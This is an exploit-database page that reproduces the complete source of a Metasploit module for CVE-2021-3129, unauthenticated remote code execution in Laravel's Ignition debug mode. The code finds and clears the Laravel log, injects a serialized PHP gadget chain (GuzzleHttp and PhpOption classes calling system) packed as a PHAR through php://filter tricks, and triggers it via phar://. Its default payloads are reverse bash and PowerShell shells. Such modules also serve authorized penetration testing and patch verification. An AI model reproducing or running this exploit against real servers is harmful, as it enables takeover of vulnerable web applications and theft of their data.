Lucene search
K

Ignition Remote Code Execution Exploit

🗓️ 17 Feb 2022 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 3839 Views

Unauth remote code execution in Ignition v2.5.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2021-3129
25 Jan 202108:42
githubexploit
GithubExploit
Exploit for CVE-2021-3129
11 Oct 202208:53
githubexploit
GithubExploit
Exploit for CVE-2021-3129
30 Sep 202217:54
githubexploit
GithubExploit
Exploit for CVE-2021-3129
19 May 202421:25
githubexploit
GithubExploit
Exploit for CVE-2021-3129
29 Sep 202405:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jan 202110:16
githubexploit
GithubExploit
Exploit for CVE-2021-3129
1 Oct 202109:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jul 202312:14
githubexploit
GithubExploit
Exploit for CVE-2021-3129
16 Apr 202217:22
githubexploit
GithubExploit
Exploit for CVE-2021-3129
22 Oct 202314:25
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unauthenticated remote code execution in Ignition',
        'Description' => %q{
          Ignition before 2.5.2, as used in Laravel and other products,
          allows unauthenticated remote attackers to execute arbitrary code
          because of insecure usage of file_get_contents() and file_put_contents().
          This is exploitable on sites using debug mode with Laravel before 8.4.2.
        },
        'Author' => [
          'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
          'ambionics' # discovered
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-3129'],
          ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
        ],
        'DisclosureDate' => '2021-01-13',
        'Platform' => %w[unix linux macos win],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows (In-Memory)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
      OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
    ])
  end

  def check
    print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'method' => 'PUT'
    }, 1)
    # Check whether it is using facade/ignition
    # If is using it should respond method not allowed
    # checking if debug mode is enable
    if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
      vprint_status 'Debug mode is enabled.'
      # check version
      versions = JSON.parse(
        res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
      )
      version = Rex::Version.new(versions['framework_version'])
      vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
      # to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
      # but it is way more intrusive than just checking the version moreover we would need to call
      # the find_log_file method before, meaning four requests more.
      return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    @logfile = datastore['LOGFILE'] || find_log_file
    fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile

    clear_log
    put_payload
    convert_to_phar
    run_phar

    handler

    clear_log
  end

  def find_log_file
    vprint_status 'Trying to detect log file'
    res = post Rex::Text.rand_text_alpha_upper(12)
    if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
      logpath = Regexp.last_match(1).gsub(/\\/, '')
      vprint_status "Found directory candidate #{logpath}"
      logfile = "#{logpath}/storage/logs/laravel.log"
      vprint_status "Checking if #{logfile} exists"
      res = post logfile
      if res.code == 200
        vprint_status "Found log file #{logfile}"
        return logfile
      end
      vprint_error "Log file does not exist #{logfile}"
      return
    end
    vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
    return
  end

  def clear_log
    res = post "php://filter/read=consumed/resource=#{@logfile}"
    # guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
    fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
  end

  def put_payload
    post format_payload
    post Rex::Text.rand_text_alpha_upper(2)
  end

  def convert_to_phar
    filters = %w[
      convert.quoted-printable-decode
      convert.iconv.utf-16le.utf-8
      convert.base64-decode
    ].join('|')

    post "php://filter/write=#{filters}/resource=#{@logfile}"
  end

  def run_phar
    post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
    # resp.body.match(%r{^(.*)\n<!doctype html>})
    # $1 ? print_good($1) : nil
  end

  def body_template(data)
    {
      solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
      parameters: {
        viewFile: data,
        variableName: Rex::Text.rand_text_alpha_lower(4..12)
      }
    }.to_json
  end

  def post(data)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'method' => 'POST',
      'data' => body_template(data),
      'ctype' => 'application/json',
      'headers' => {
        'Accept' => '*/*',
        'Accept-Encoding' => 'gzip, deflate'
      }
    })
  end

  def generate_phar(pop)
    file = Rex::Text.rand_text_alpha_lower(8)
    stub = "<?php __HALT_COMPILER(); ?>\r\n"
    file_contents = Rex::Text.rand_text_alpha_lower(20)
    file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
    manifest_len = 40 + pop.length + file.length
    phar = stub
    phar << [manifest_len].pack('V')              # length of manifest in bytes
    phar << [0x1].pack('V')                       # number of files in the phar
    phar << [0x11].pack('v')                      # api version of the phar manifest
    phar << [0x10000].pack('V')                   # global phar bitmapped flags
    phar << [0x0].pack('V')                       # length of phar alias
    phar << [pop.length].pack('V')                # length of phar metadata
    phar << pop                                   # pop chain
    phar << [file.length].pack('V')               # length of filename in the archive
    phar << file                                  # filename
    phar << [file_contents.length].pack('V')      # length of the uncompressed file contents
    phar << [0x0].pack('V')                       # unix timestamp of file set to Jan 01 1970.
    phar << [file_contents.length].pack('V')      # length of the compressed file contents
    phar << [file_crc32].pack('V')                # crc32 checksum of un-compressed file contents
    phar << [0x1b6].pack('V')                     # bit-mapped file-specific flags
    phar << [0x0].pack('V')                       # serialized File Meta-data length
    phar << file_contents                         # serialized File Meta-data
    phar << [Rex::Text.sha1(phar)].pack('H*')     # signature
    phar << [0x2].pack('V')                       # signiture type
    phar << 'GBMB'                                # signature presence

    return phar
  end

  def format_payload
    # rubocop:disable  Style/StringLiterals
    serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
    serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
    serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
    serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
    serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
    serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
    serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
    # rubocop:enable  Style/StringLiterals
    phar = generate_phar(serialize)

    b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
    payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join

    return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Feb 2022 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99943
3839